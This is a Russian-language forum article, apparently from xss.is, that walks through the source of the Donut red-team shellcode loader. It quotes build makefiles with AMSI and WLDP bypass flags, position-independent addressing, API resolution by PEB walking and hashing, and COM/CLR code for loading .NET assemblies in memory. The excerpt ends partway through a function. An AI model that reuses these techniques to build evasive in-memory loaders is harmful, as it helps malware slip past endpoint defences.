Статья Малварка под микроскопом - Donut

xss.is/threads/55346

Содержание:

1. Введение

Привет, друзья! Как-то я думал, что эта серия пойдет пободрее (гораздо и гораздо бодрее), но со времен Штормового Котёнка мне так толком и не попадалось какого-то прям интересного проекта, о котором было бы, что написать. Видимо, вся топовая и технологически развитая малварь сейчас в приватных репозиториях на гитхабе, ну вы понимаете. Ну либо я просто не в курсе чего-то прям топового. Поэтому сегодня я хочу рассмотреть белый и пушистый проект. Ну как белый - ред тимерский... а белый он или нет скорее решается в руках человека, который его использует. Важно лишь то, что в нем есть интересные вещи, про которые я хотел бы рассказать. Итак... представляю вашему вниманию самый обычный редтимерский Пончик: https://github.com/TheWover/donut

Пончик — это позиционно-независимый код (можно думать о нем, как о шеллкоде, чтобы не усложнять статью длинными терминами), который загружает прямиком из виртуальной памяти (без необходимости дропать на диск) скрипты VBScript/JScript, экзешнички, дллички и дотнетовские сборки (Assembly). При этом там есть реализация обхода AMSI и WLDP, сжатие и шифрование данных, вывод шеллкода в несколько различных форматов и еще много в принципе интересных вещей. В этой статье мы коснемся тех моментов, которые на мой взгляд представляют интерес, исходя из того, какие обсуждения я вижу в нашем уютненьком коммьюнити. Да и я сам больше люблю техническое «мясо», а не всякие красивые обвязки вокруг него (типа башеских скриптов). Ну давайте начинать. Сразу оговорюсь, что впереди вас ждет «много букаф», так что крепитесь, налейте себе чайку, очень надеюсь, что будет интересно.

2. Структура проекта

Говоря о структуре данного проекта в общем, мы имеем собственно шеллкод (он же loader.exe из папочки loader) и прикладные к этому лоудеру утилиты, такие как donut.exe (генератор всякого) и exe2h (генератор Цэшного хедера из бинарного файла). Ну и у этих проектов есть общие фрагменты кода, реализованные в файлах с говорящими названиями hash.c и encrypt.c. Как я уже обозначил чуть выше техническое «мясо» находится в основном в шеллкоде, ну а остальное я попрошу вас разобрать самим в качестве своеобразного домашнего задания.

3. Шеллкод на чистом православном Цэ

Может я начну с очень очевидной для большинства здесь присутствующих вещи, но все же давайте обсудим, чем шеллкод отличается от обычного исполняемого кода, который генерируют компиляторы. PE (он же Portable Executable) — это формат исполняемых файлов (EXE, DLL, SYS файлов и тому подобное), который используется в мелкомягких операционных системах. Для того, чтобы файл такого формата был корректно исполнен его нужно правильным образом загрузить в виртуальную память и по-всякому настроить. Это действие выполняет загрузчик, реализованный кодом самой операционной системы. Так в режиме пользователя код загрузчика физически располагается в ntdll.dll, когда вы, например, вызываете функцию LoadLibrary из kernel32.dll, она в процессе своей работы вызовет функцию LdrLoadDll из ntdll.dll. Или, например, когда вы создаете новый COM-объект с помощью CoCreateInstance, в зависимости от конкретного COM-объекта или от параметров функции это действие может привести к загрузке DLL-файла COM-объекта с помощью все той же LdrLoadDll. Но об этих ваших COM-ах поговорим чуточку позднее.

Шеллкоду, в отличии от исполняемых файлов не нужен загрузчик, он попадает в некоторое место в виртуальной памяти и сам заботится о том, как и с помощью чего он будет функционировать. Так у исполняемого файла есть таблица импорта, в ней указываются все функции из различных DLL-библиотек, которые этот исполняемый файл будет использовать в процессе своей работы. Такую таблицу настроит загрузчик, а именно загрузит все необходимые библиотеки и пропатчит адреса функций в PE-формате исполняемого файла. Шеллкод же находит адреса всех необходимых ему функций в динамике, при этом подгружая необходимые библиотеки, которые до этого еще не были загружены. Кроме того, у исполняемого файла есть базовый адрес и в некоторых случаях таблица релоков. Если таблица отсутствует, то исполняемый файл может загрузиться только по указанному базовому адресу в виртуальной памяти. Ну, а если она существует, то в этой таблице указаны все места, где в исполняемом коде использовалась захардкоженная адресация (когда в коде указаны непосредственные адреса, а не смещения там или еще чего поумнее). Такие захардкоженные адреса генерирует компилятор. Загрузчик проходит таблицу релоков и патчит исполняемый файл таким образом, чтобы вся захардкоженная адресация была валидной в том случае, если исполняемый файл был загружен не по базовому адресу. Это в основном

касается 32-битных исполняемых файлов, но об этом чуть ниже поговорим. Шеллкод в свою очередь часто является позиционно независимым кодом, то есть может корректно функционировать потенциально в любом месте виртуальной памяти, поскольку не использует (ну или не должен использовать) эти захардкоженные адреса.

Работа загрузчика исполняемых файлов операционной системы тянет на отдельную статью, да и подобные статьи уже были, некоторые из них даже занимали призовые места на конкурсах. Поэтому более подробно рассматривать эту вещь мы сегодня не будем, но сконцентрируемся на механике работы шеллкода из нашего Пончика. Исторически (когда динозавры были большими) шеллкоды писались на Ассемблере, и многие «староверы» даже сейчас считают, что так и должно быть. Однако в принципе ничего не мешает нам сделать шеллкод с помощью православной Сишечки (C, она же Цэ) или богомерзких Плюсов (C++ имеется ввиду, ога?), да и (с разной степенью полыхания ануса) любого другого нативного языка программирования, которому можно отключить стандартную библиотеку (Rust, Nim, D, FreePascal и так далее). Писать шеллкоды на языках более высокого уровня, чем Ассемблер, во-первых – проще, а во-вторых – «кросс-платформеннее» что ли. То есть вам не нужно будет писать два одинаковых по своей сути, но разных по содержанию кода для x86 и x64 архитектур. Автор Пончика так и сделал, давайте теперь рассмотрим, каким образом.

В корне проекта были заботливо положены два make-файла: один для сборки проекта с помощью cl.exe (компилятор из состава мелкомягкой Visual Studio), а другой с помощью MinGW (первый Makefile.msvc, а второй Makefile.mingw), давайте их рассмотрим.
Bash:

```
CC32 := i686-w64-mingw32-gcc
CC64 := x86_64-w64-mingw32-gcc

donut: clean
    $(info ###### RELEASE ######)
    gcc -I include loader/exe2h/exe2h.c -oexe2h
    $(CC64) -I include loader/exe2h/exe2h.c loader/exe2h/mmap-windows.c -lshlwapi -oexe2h.exe

    $(CC32) -DBYPASS_AMSI_A -DBYPASS_WLDP_A -fno-toplevel-reorder -fpack-struct=8 -fPIC -O0 -
nostdlib loader/loader.c loader/depack.c loader/clib.c hash.c encrypt.c -I include -
oloader.exe
    ./exe2h loader.exe

    $(CC64) -DBYPASS_AMSI_A -DBYPASS_WLDP_A -fno-toplevel-reorder -fpack-struct=8 -fPIC -O0 -
nostdlib loader/loader.c loader/depack.c loader/clib.c hash.c encrypt.c -I include -
oloader.exe
    ./exe2h loader.exe

    $(CC64) -Wall -fpack-struct=8 -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c
loader/clib.c lib/aplib64.lib -odonut.exe
debug: clean
    $(info ###### DEBUG ######)
    $(CC32) -DCLIB -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Wno-format -fpack-struct=8 -DDEBUG -I
include loader/loader.c hash.c encrypt.c loader/depack.c loader/clib.c -oloader32.exe -lole32
-lshlwapi
    $(CC64) -DCLIB -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Wno-format -fpack-struct=8 -DDEBUG -I
include loader/loader.c hash.c encrypt.c loader/depack.c loader/clib.c -oloader64.exe -lole32
-lshlwapi
    $(CC64) -Wall -Wno-format -fpack-struct=8 -DDEBUG -DDONUT_EXE -I include donut.c hash.c
encrypt.c format.c loader/clib.c lib/aplib64.lib -odonut.exe
clean:
    rm -f exe2h exe2h.exe loader.bin instance donut.o hash.o encrypt.o format.o clib.o hash
encrypt donut hash.exe encrypt.exe donut.exe lib/libdonut.a lib/libdonut.so loader.exe
loader32.exe loader64.exe
```

Bash:

```
donut: clean
    @echo ###### Building exe2h ######
    cl /nologo loader\exe2h\exe2h.c loader\exe2h\mmap-windows.c

    @echo ###### Building loader ######
    cl -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Zp8 -c -nologo -Gy -Os -O1 -GR- -EHa -Oi -GS- -I
include loader\loader.c hash.c encrypt.c loader\depack.c loader\clib.c
    link -nologo -order:@loader\order.txt -entry:DonutLoader -fixed -subsystem:console -
nodefaultlib loader.obj hash.obj encrypt.obj depack.obj clib.obj
    exe2h loader.exe

    @echo ###### Building generator ######
    rc include/donut.rc
    cl -Zp8 -nologo -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader\clib.c
lib\aplib64.lib include/donut.res
    cl -Zp8 -nologo -DDLL -LD -I include donut.c hash.c encrypt.c format.c loader\clib.c
lib\aplib64.lib
    move donut.lib lib\donut.lib
    move donut.exp lib\donut.exp
    move donut.dll lib\donut.dll
debug: clean
    cl /nologo -DDEBUG -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Zp8 -c -nologo -Gy -Os -EHa -GS- -I
include loader/loader.c hash.c encrypt.c loader/depack.c loader/clib.c
  link -nologo -order:@loader\order.txt -subsystem:console loader.obj hash.obj encrypt.obj
depack.obj clib.obj

    cl -Zp8 -nologo -DDEBUG -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c
loader\clib.c lib\aplib64.lib
    cl -Zp8 -nologo -DDEBUG -DDLL -LD -I include donut.c hash.c encrypt.c format.c
loader\clib.c lib\aplib64.lib
    move donut.lib lib\donut.lib
    move donut.exp lib\donut.exp
    move donut.dll lib\donut.dll
hash:
    cl -Zp8 -nologo -DTEST -I include hash.c loader\clib.c
encrypt:
    cl -Zp8 -nologo -DTEST -I include encrypt.c
clean:
    @del /Q mmap-windows.obj donut.obj hash.obj encrypt.obj depack.obj format.obj clib.obj
hash.exe encrypt.exe donut.exe lib\libdonut.lib lib\libdonut.dll
```

И там и там задается параметр выравнивания структур на границу в 8 байт, на мой взгляд было бы лучше сделать packed структуры там, где это необходимо. При сборке MinGW отключена оптимизация, а для MSVC оптимизация на достаточно небольшом уровне. Видимо, для кода автора полные наборы алгоритмов оптимизации что-то ломали в шеллкоде (мы же помним, что между шеллкодом и традиционными исполняемыми файлами существенная разница), но в общем случае лучше было бы разобраться в проблеме, а не отключать оптимизации. Например, конструкция switch

в Цэ и Плюсах в зависимости от своей структуры при включенной оптимизации может компилятором заменяться на jump-table. Это быстрее, но с точки зрения шеллкода это является неприемлемым, поскольку в jump-table попадут захардкоженные адреса. В этом случае отключение оптимизации поможет, но можно было бы конструкцию switch заменить на цепочку if-else, для которой нет такой оптимизации через jump-table.

Кроме того, следует обратить внимание на отключение проверки переполнения буфера при сборке студийным компилятором (она требует наличия некоторых функций из стандартной библиотеки, насколько я помню). При линковке проекта отключаются стандартные библиотеки (поскольку они уже завязаны на импорт некоторых функций из динамических библиотек, а в шеллкоде это опять же неприемлемо). Для сборки с помощью MinGW автор указывает забавный флаг «-fPIC», который на Линуксах генерирует позиционно-независимый код (да, на Линуксах это иногда пригождается для вполне обычных исполняемых файлов), не знаю, как сейчас, но когда я последний раз смотрел его (флага) применение, на Венде он не делал ровным счетом ничего. Так что не знаю, зачем он тут. Так же обратите внимание на переопределение точки входа и на ее формат. Дело в том, что классическая «int main(int argc, char** argv)» - это точка входа, которую вызывает стандартная библиотека языка С. То есть до выполнения нашего кода выполняется некая обвязка из кода стандартной библиотеки, которая, в частности, получает аргументы командной строки и некоторые другие прикладные для стандартной Цэшной библиотеки вещи. В отсутствии стандартной библиотеки точка входа исполняемого файла не будет иметь никаких аргументов, а для шеллкода ее в принципе можно сделать любой, главное знать, как ее потом вызывать.

Теперь давайте посмотрим на то, как автор Почика решает проблему с адресацией статических данных и функций (мы же помним, что по умолчанию для исполняемого файла компилятор захадркодит адреса и создаст или не создаст секцию релоков, а в шеллкоде нам нужно самим об этом позаботится, но, правда, не всегда). Для решения этой проблемы реализован макрос ADR и функция get_pc, рассмотрим их подробнее. С:

```
#if defined(_M_IX86) || defined(__i386__)
// return pointer to code in memory
char *get_pc(void);

// PC-relative addressing for x86 code. Similar to RVA2VA except using functions in payload
#define ADR(type, addr) (type)(get_pc() - ((ULONG_PTR)&get_pc - (ULONG_PTR)addr))
#else
#define ADR(type, addr) (type)(addr) // do nothing on 64-bit
#endif

// Function to return the program counter.
// Always place this at the end of payload.
// Tested with x86 build of MSVC 2019 and MinGW. YMMV.
#if defined(_MSC_VER)
  #if defined(_M_IX86)
    __declspec(naked) char *get_pc(void) {
      __asm {
          call   pc_addr
        pc_addr:
          pop    eax
          sub    eax, 5
          ret
      }
    }
  #endif
#elif defined(__GNUC__)
  #if defined(__i386__)
    asm (
      ".global get_pc\n"
      ".global _get_pc\n"
      "_get_pc:\n"
      "get_pc:\n"
      "    call    pc_addr\n"
      "pc_addr:\n"
      "    pop     %eax\n"
      "    sub     $5, %eax\n"
      "    ret\n"
    );
  #endif
#endif
```

Как вы можете видеть макрос ADR для x86 кода вызывает функцию get_pc и высчитывает смещение исходного указателя, относительно того адреса, что вернул get_pc, исходя из которого (смещения) получает реальный адрес данных или функции в виртуальной памяти. Функция get_pc представляет собой классическую ассемблерную вставку, предназначенную для получения указателя на метку. Инструкция call вызывает метку, которая следует сразу за командой. При вызове инструкция call кладет на стек адрес возврата, то есть адрес следующей за call

инструкции. Таким образом, исполнение переходит на метку, а на стеке оказывается адрес возврата, который совпадает с адресом метки (так как метка следует прямиком за инструкцией call). Далее код забирает этот адрес со стека и возвращает его через регистр EAX. С помощью такой незамысловатой и известной с бородатых времен техники мы получает действительный адрес метки в виртуальной памяти, а не какой-то захардкоженный адрес. Вы спросите, почему же нет похожей реализации для x64 кода. Дело в том, что x64 появилась так называемая «RIP-relative addressing», то есть адресация относительно значения регистра RIP, который указывает на следующую исполняемую инструкцию. При этом компилятор Цэ охотно генерирует подобный код. А вот x86 код такой фичи был несправедливо лишен, поэтому для создания позиционно-независимого кода приходится вот так вот изгаляться.

Ну с этим вроде разобрались, давайте взглянем, как автор решает проблему с необходимыми шеллкоду экспортными функциями. Тут опять все по классике, рассмотрим следующий код:
C:

```
// locate address of API in export table using Maru hash function
LPVOID FindExport(PDONUT_INSTANCE inst, LPVOID base, ULONG64 api_hash, ULONG64 iv){
    PIMAGE_DOS_HEADER       dos;
    PIMAGE_NT_HEADERS       nt;
    DWORD                   i, j, cnt, rva;
    PIMAGE_DATA_DIRECTORY   dir;
    PIMAGE_EXPORT_DIRECTORY exp;
    PDWORD                  adr;
    PDWORD                  sym;
    PWORD                   ord;
    PCHAR                   api, dll, p;
    LPVOID                  addr=NULL;
    ULONG64                 dll_hash;
    CHAR                    buf[MAX_PATH], dll_name[64], api_name[128];

    dos = (PIMAGE_DOS_HEADER)base;
    nt  = RVA2VA(PIMAGE_NT_HEADERS, base, dos->e_lfanew);
    dir = (PIMAGE_DATA_DIRECTORY)nt->OptionalHeader.DataDirectory;
    rva = dir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;

    // if no export table, return NULL
    if (rva==0) return NULL;

    exp = RVA2VA(PIMAGE_EXPORT_DIRECTORY, base, rva);
    cnt = exp->NumberOfNames;

    // if no api names, return NULL
    if (cnt==0) return NULL;

    adr = RVA2VA(PDWORD,base, exp->AddressOfFunctions);
    sym = RVA2VA(PDWORD,base, exp->AddressOfNames);
    ord = RVA2VA(PWORD, base, exp->AddressOfNameOrdinals);
    dll = RVA2VA(PCHAR, base, exp->Name);

    // get hash of DLL string converted to lowercase
    for(i=0;dll[i]!=0;i++) {
      buf[i] = dll[i] | 0x20;
    }
    buf[i] = 0;
    dll_hash = maru(buf, iv);

    do {
      // calculate hash of api string
      api = RVA2VA(PCHAR, base, sym[cnt-1]);
      // xor with DLL hash and compare with hash to find
      if ((maru(api, iv) ^ dll_hash) == api_hash) {
        // return address of function
        addr = RVA2VA(LPVOID, base, adr[ord[cnt-1]]);

        // is this a forward reference?
        if ((PBYTE)addr >= (PBYTE)exp &&
```

```
            (PBYTE)addr <  (PBYTE)exp +
            dir[IMAGE_DIRECTORY_ENTRY_EXPORT].Size)
          {
            DPRINT("%016llx is forwarded to %s",
              api_hash, (char*)addr);

            // copy DLL name to buffer
            p=(char*)addr;

            for(i=0; p[i] != 0 && i < sizeof(dll_name)-4; i++) {
              dll_name[i] = p[i];
              if(p[i] == '.') break;
            }

            dll_name[i+1] = 'd';
            dll_name[i+2] = 'l';
            dll_name[i+3] = 'l';
            dll_name[i+4] = 0;

            p += i + 1;

            // copy API name to buffer
            for(i=0; p[i] != 0 && i < sizeof(api_name)-1;i++) {
              api_name[i] = p[i];
            }
            api_name[i] = 0;

            DPRINT("Trying to load %s", dll_name);
            HMODULE hModule = inst->api.LoadLibrary(dll_name);

            if(hModule != NULL) {
              DPRINT("Calling GetProcAddress(%s)", api_name);
              addr = inst->api.GetProcAddress(hModule, api_name);
            } else addr = NULL;
          }
          return addr;
        }
    } while (--cnt && addr == NULL);

    return addr;
}

// search all modules in the PEB for API
LPVOID xGetProcAddress(PDONUT_INSTANCE inst, ULONG64 ulHash, ULONG64 ulIV) {
    PPEB                  peb;
    PPEB_LDR_DATA         ldr;
    PLDR_DATA_TABLE_ENTRY dte;
    LPVOID                addr = NULL;

    peb = (PPEB)NtCurrentTeb()->ProcessEnvironmentBlock;
    ldr = (PPEB_LDR_DATA)peb->Ldr;
```

```
    // for each DLL loaded
    for (dte=(PLDR_DATA_TABLE_ENTRY)ldr->InLoadOrderModuleList.Flink;
         dte->DllBase != NULL && addr == NULL;
         dte=(PLDR_DATA_TABLE_ENTRY)dte->InLoadOrderLinks.Flink)
    {
      // search the export table for api
      addr = FindExport(inst, dte->DllBase, ulHash, ulIV);
    }
    return addr;
}
```

Удивительно сколько полезных вещей можно найти в недокументированных структурах операционной системы, ну или в плохо документированных. С каждым потоком операционной системы ассоциирована структура TEB (Thread Environment Block), получить ее можно из сегментного регистра fs (для 32-битного кода) или gs (для 64-битного регистра), а можно воспользоваться NtCurrentTeb, которая сделает в точности это. В структуре TEB есть указатель на структуру PEB (Process Environment Block), которая в свою очередь уже ассоциирована с текущим процессом. В структуре PEB помимо кучи других забавных и интересных вещей есть своего рода база данных загрузчика операционной системы. Это связный список из библиотек, которые загрузчик уже загружал до этого. Для любого процесса в этом списке будет как минимум ntdll.dll (в частности потому, что в ней находится загрузчик) и исполняемый файл самого процесса, а для подавляющего большинства процессов там еще будет находится kernel32.dll. То есть шеллкод может пройти по этому списку, по хешу найти необходимую библиотеку и ее базовый адрес (кстати HMODULE и базовый адрес DLL - это одно и тоже, если вы не знали), а затем распарсить таблицу экспорта библиотеки и найти там смещение необходимой функции, из которого затем получить абсолютный адрес, ну и вызвать функцию. Поскольку kernel32.dll почти всегда есть в процессе, то мы можем сначала найти адреса LoadLibrary и GetProcAddress, а потом их использовать для форвардинга, например. Форвардинг, это когда в таблице экспорта указывается ссылка на функцию, реализованную в другой библиотеке, знаю, что это звучит бредово, но это используется достаточно часто в операционной системе.

Это в принципе все, что я хотел рассказать про организацию шеллкода на православной Сишечке от автора Пончика, если что-то непонятно, или хотите обсудить, пишите в комментариях, обсудим, а так давайте переходить к другим интересным вещам. Можно было бы вкратце коснуться алгоритма инжектирования кода, но он был изъезжен вдоль и поперек со времен начала двухтысячных и книжки Джеффри Рихтера. Общий его смысл состоит в том, что мы открываем хендл другого процесса, выделяем там память, записываем шеллкод, создаем удаленный поток на точку входа шеллкода и получаем профит. Реализация этого находится в файле inject.c, если вам она будет интересна. Так же в проекте есть код, ответственный за

загрузку нативных исполняемых файлов, но как я уже говорил, об этом было уже много раз написано до меня. Если вам интересно, то смотрите файл inmem_pe.c, там должно быть все понятно, если вы прочтете, наверное, любую статью на эту тему. Если захотите что-то из перечисленного обсудить, не стесняйтесь задавать вопросы в комментариях к моей статье.

4. Введение в COM на пол шишечки

Теперь поговорим об удивительной технологии COM (Component Object Model). В один прекрасный исторический момент мелкомягкие программисты и архитекторы программного обеспечения решили, что было бы хорошо запилить некий стандарт для реализации программного обеспечения на Венде, чтобы библиотеки и компоненты, написанные на совершенно разных языках и платформах, могли вызывать функции друг друга. По большому счету они изобрели своего рода ABI (Application Binary Interface), основанный на полиморфизме (деды проснулись? спите дальше, этот полиморфизм к вашим вирусам никак не относится) и инкапсуляции из ненавидимой некоторыми любителями святого православного Цэ парадигме ООП (объектно-ориентированного программирования). С момента изобретения этого чуда ну очень много всяких библиотек и компонентов системы беспрекословно ему следует, и это, в принципе, хорошо. Код на C/C++, оформленный в виде COM-класса, может быть вызван кодом на C#, VBScript или JScript и наоборот (да-да, на VBScript'е можно сделать сравнительно полноценный COM-класс, гуглим на тему sct-файлов и scrobj.dll). Но при этом сама технология COM достаточно комплексная, поэтому давайте рассмотрим некоторые базовые моменты, необходимые для понимания того, что делает наш с вами Пончик.

Все COM-классы должны удовлетворять интерфейсу IUnknown (не-не, не тот Unknown, о котором грезят американские «аверы и менты» (с), а просто обычный интерфейс под названием «IUnknown»). Этот интерфейс позволяет делать с объектом COM-класса ровно две важные вещи. Во-первых, увеличивать и уменьшать счетчик ссылок на объект (методы AddRef и Release соответственно). Да, вместо любимых сборщиков мусора из этих ваших Шарпов и Петонов, в технологии COM применяются счетчики ссылок, так как в стандартах Сишечки и Плюсов ими даже толком и не пахло никогда. Когда вы создаете новую ссылку на объект в своем коде, вы должны увеличить счетчик ссылок объекта. Когда ссылка в вашем коде должна быть освобождена, вы уменьшаете счетчик ссылок. Когда счетчик ссылок опускается до нуля, объект освобождается. Во-вторых, у интерфейса есть специальный метод QueryInterface, который призван запрашивать ссылки на другие интерфейсы у нашего COM-объекта. Вы передаете этому методу уникальный идентификатор (GUID/CLSID/IID) необходимого интерфейса, а метод вернет вам HRESULT: в случае успеха – S_OK, а в случае провала – код ошибки. Ну и конечно же указатель на запрашиваемый интерфейс, если вызов завершился успешно.

Ну и да, еще стоит отметить, что мелкомягкие являются ярыми любителями давать всему и вся уникальные идентификаторы. Каждый COM-класс имеет такой идентификатор, каждый COM-интерфейс, да даже каждая TypeLib библиотека. По сути, уникальный идентификатор это просто 128-битное число, вероятность псевдослучайной генерации двух одинаковых таких чисел сравнительно близка к нулю, поэтому считается, что эти идентификаторы уникальные для каждого объекта, с которым вы хотите ассоциировать этот идентификатор.

В технологии COM есть так называемые VARIANT'ы (контейнеры, которые могут хранить несколько типов данных) и еще один очень важный интерфейс – IDispatch. В частности, он позволяет скриптовым языкам вызывать методы нативных COM-объектов просто по их именам. Это реализуется через методы GetIDsOfNames (возвращает номера методов по их именам) и Invoke (получает номер метода, преобразует аргументы вызова из VARIANT'ов в нативные типы данных и вызывает нативный метод). Так же через этот интерфейс можно получить, например, информацию о типе COM-объекта, но в эти дебри нам погружаться сегодня не нужно.

Теперь, давайте вспомним, что весь этот страшный ООП, классы там, объекты и всяческие интерфейсы, это всё есть в богомерзких Плюсах, а не в православной Сишечке. Как же нам взаимодействовать из Сишечки с этой монструозной стремотой? Для ответа на этот вопрос нам нужно разобраться, как на низком уровне (за пеленой языковых конструкций Плюсов) работает наследование и полиморфизм. В Плюсах есть виртуальный методы (ключевое слово virtual), они используется для того, чтобы один класс мог унаследовать у второго класса один функционал и переопределить другой. Физически такая конструкция компилируется в так называемые таблицы виртуальных методов (они же vtable). Класс – это та же Сишечная структура, в которую завернуты данные класса. Однако, если класс имеет виртуальные методы, то самым первым элементом в этой структуре будет указатель на vtable. Ну а в свою очередь vtable – это таблица указателей на виртуальные методы класса (обычно в том порядке, в каком они были объявлены в классе). Таким образом, если класс наследник переопределил какой-то виртуальный метод своего родителя, то в его данные при инициализации будет записан указатель на его собственный vtable, который отличается от родительского ровно на один указатель на метод. Вызов виртуального метода Плюсы скомпилируют в разыменование указателя на vtable, и вызов метода по соответствующему ему указателю из таблицы vtable. Мы можем повторить ровно такое же поведение кодом на чистом православном Цэ. Еще раз, чтобы создать объект COM-класса, нам нужно сделать структуру для самого объекта и для его vtable, заполнить vtable указателями на методы, реализующими ряд определенных интерфейсов, а указатель на vtable положить первым элементом в структуру самого объекта. Еще нужно помнить, что this-указатель — это тоже конструкция из Плюсов и про него Цэ ничего не знает. Поэтому нам нужно будет передавать this-указатель в качестве

первого параметра при вызове методов COM-классов. Ну собственно, это всё и было сделано автором проекта Пончика. Если вы хотите побольше почитать по тому, как реализовать взаимодействие с COM-классам на Сишечке, то я могу порекомендовать серию статей «COM in plain C» на сайте codeproject.com, там порядка 8 статей, довольно интересное чтиво, которое касается этой темы несколько глубже, нам же описанных выше основ должно хватить для понимания всего остального.

5. Запуск .NET Assembly из памяти

Когда мелкомягкие разрабатывали первые .NET фреймворки, я думаю, даже речи никакой не шло о том, что фреймворк можно сделать независимым от технологии COM и несовместимым с ней. Классы Шарпов, обозначенные атрибутом ComVisible, автоматически получают всю необходимую для взаимодействия с ними через COM обвязку (реализации интерфейсов IUnknown, IDispatch, ITypeInfo и так далее), а COM-интерфейсы можно определять в коде так же легко, как в Плюсах. Давайте рассмотрим фрагмент Сишного кода, который в проекте Почика отвечает за загрузку и запуск исполняемых файлов .NET Assembly прямиком из памяти через технологию COM.
C:

```
#undef DUMMY_METHOD
    #define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IAppDomain *This)

    typedef struct _AppDomainVtbl {
        BEGIN_INTERFACE

        HRESULT ( STDMETHODCALLTYPE *QueryInterface )(
          IAppDomain * This,
          /* [in] */ REFIID riid,
          /* [iid_is][out] */ void **ppvObject);

        ULONG ( STDMETHODCALLTYPE *AddRef )(
          IAppDomain * This);

        ULONG ( STDMETHODCALLTYPE *Release )(
          IAppDomain * This);

        DUMMY_METHOD(GetTypeInfoCount);
        DUMMY_METHOD(GetTypeInfo);
        DUMMY_METHOD(GetIDsOfNames);
        DUMMY_METHOD(Invoke);

        DUMMY_METHOD(ToString);
        DUMMY_METHOD(Equals);
        DUMMY_METHOD(GetHashCode);
        DUMMY_METHOD(GetType);
        DUMMY_METHOD(InitializeLifetimeService);
        DUMMY_METHOD(GetLifetimeService);
        DUMMY_METHOD(Evidence);
        DUMMY_METHOD(add_DomainUnload);
        DUMMY_METHOD(remove_DomainUnload);
        DUMMY_METHOD(add_AssemblyLoad);
        DUMMY_METHOD(remove_AssemblyLoad);
        DUMMY_METHOD(add_ProcessExit);
        DUMMY_METHOD(remove_ProcessExit);
        DUMMY_METHOD(add_TypeResolve);
        DUMMY_METHOD(remove_TypeResolve);
        DUMMY_METHOD(add_ResourceResolve);
        DUMMY_METHOD(remove_ResourceResolve);
        DUMMY_METHOD(add_AssemblyResolve);
        DUMMY_METHOD(remove_AssemblyResolve);
        DUMMY_METHOD(add_UnhandledException);
        DUMMY_METHOD(remove_UnhandledException);
        DUMMY_METHOD(DefineDynamicAssembly);
        DUMMY_METHOD(DefineDynamicAssembly_2);
        DUMMY_METHOD(DefineDynamicAssembly_3);
        DUMMY_METHOD(DefineDynamicAssembly_4);
        DUMMY_METHOD(DefineDynamicAssembly_5);
        DUMMY_METHOD(DefineDynamicAssembly_6);
        DUMMY_METHOD(DefineDynamicAssembly_7);
        DUMMY_METHOD(DefineDynamicAssembly_8);
```

```
    DUMMY_METHOD(DefineDynamicAssembly_9);
    DUMMY_METHOD(CreateInstance);
    DUMMY_METHOD(CreateInstanceFrom);
    DUMMY_METHOD(CreateInstance_2);
    DUMMY_METHOD(CreateInstanceFrom_2);
    DUMMY_METHOD(CreateInstance_3);
    DUMMY_METHOD(CreateInstanceFrom_3);
    DUMMY_METHOD(Load);
    DUMMY_METHOD(Load_2);

    HRESULT (STDMETHODCALLTYPE *Load_3)(
      IAppDomain *This,
      SAFEARRAY  *rawAssembly,
      IAssembly  **pRetVal);

    DUMMY_METHOD(Load_4);
    DUMMY_METHOD(Load_5);
    DUMMY_METHOD(Load_6);
    DUMMY_METHOD(Load_7);
    DUMMY_METHOD(ExecuteAssembly);
    DUMMY_METHOD(ExecuteAssembly_2);
    DUMMY_METHOD(ExecuteAssembly_3);
    DUMMY_METHOD(FriendlyName);
    DUMMY_METHOD(BaseDirectory);
    DUMMY_METHOD(RelativeSearchPath);
    DUMMY_METHOD(ShadowCopyFiles);
    DUMMY_METHOD(GetAssemblies);
    DUMMY_METHOD(AppendPrivatePath);
    DUMMY_METHOD(ClearPrivatePath);
    DUMMY_METHOD(SetShadowCopyPath);
    DUMMY_METHOD(ClearShadowCopyPath);
    DUMMY_METHOD(SetCachePath);
    DUMMY_METHOD(SetData);
    DUMMY_METHOD(GetData);
    DUMMY_METHOD(SetAppDomainPolicy);
    DUMMY_METHOD(SetThreadPrincipal);
    DUMMY_METHOD(SetPrincipalPolicy);
    DUMMY_METHOD(DoCallBack);
    DUMMY_METHOD(DynamicDirectory);

    END_INTERFACE
} AppDomainVtbl;

typedef struct _AppDomain {
  AppDomainVtbl *lpVtbl;
} AppDomain;
```

В заголовочном файле clr.h описаны все необходимые проекту методы дотнетовских COM-классов для запуска полезной нагрузки. Для экономии места, я скопировал

только одно определение в статью. Макрос DUMMY_METHOD определяет заглушку для метода, так как нам не суть важно, правильно ли определен метод, если мы его не будем вызывать. Те же методы, которые мы будем вызывать, критически важно объявить без ошибок. Обратите внимание, что как я и говорил ранее, COM-класс определен с помощью структуры vtable и структуры самого объекта, которая первым элементом имеет указатель на vtable класса. Ну и заметьте, что vtable в самом начале имеет реализацию интерфейсов IUnknown и IDispatch. Теперь давайте рассмотрим, как происходит непосредственная загрузка и запуск полезной дотнетовской нагрузки. C:

```
BOOL LoadAssembly(PDONUT_INSTANCE inst, PDONUT_MODULE mod, PDONUT_ASSEMBLY pa) {
    HRESULT         hr = S_OK;
    BSTR            domain;
    SAFEARRAYBOUND  sab;
    SAFEARRAY       *sa;
    DWORD           i;
    BOOL            loaded=FALSE, loadable;
    PBYTE           p;
    WCHAR           buf[DONUT_MAX_NAME];

    if(inst->api.CLRCreateInstance != NULL) {
      DPRINT("CLRCreateInstance");

      hr = inst->api.CLRCreateInstance(
       (REFCLSID)&inst->xCLSID_CLRMetaHost,
       (REFIID)&inst->xIID_ICLRMetaHost,
       (LPVOID*)&pa->icmh);

      if(SUCCEEDED(hr)) {
        DPRINT("ICLRMetaHost::GetRuntime(\"%s\")", mod->runtime);
        ansi2unicode(inst, mod->runtime, buf);

        hr = pa->icmh->lpVtbl->GetRuntime(
          pa->icmh, buf,
          (REFIID)&inst->xIID_ICLRRuntimeInfo, (LPVOID)&pa->icri);

        if(SUCCEEDED(hr)) {
          DPRINT("ICLRRuntimeInfo::IsLoadable");
          hr = pa->icri->lpVtbl->IsLoadable(pa->icri, &loadable);

          if(SUCCEEDED(hr) && loadable) {
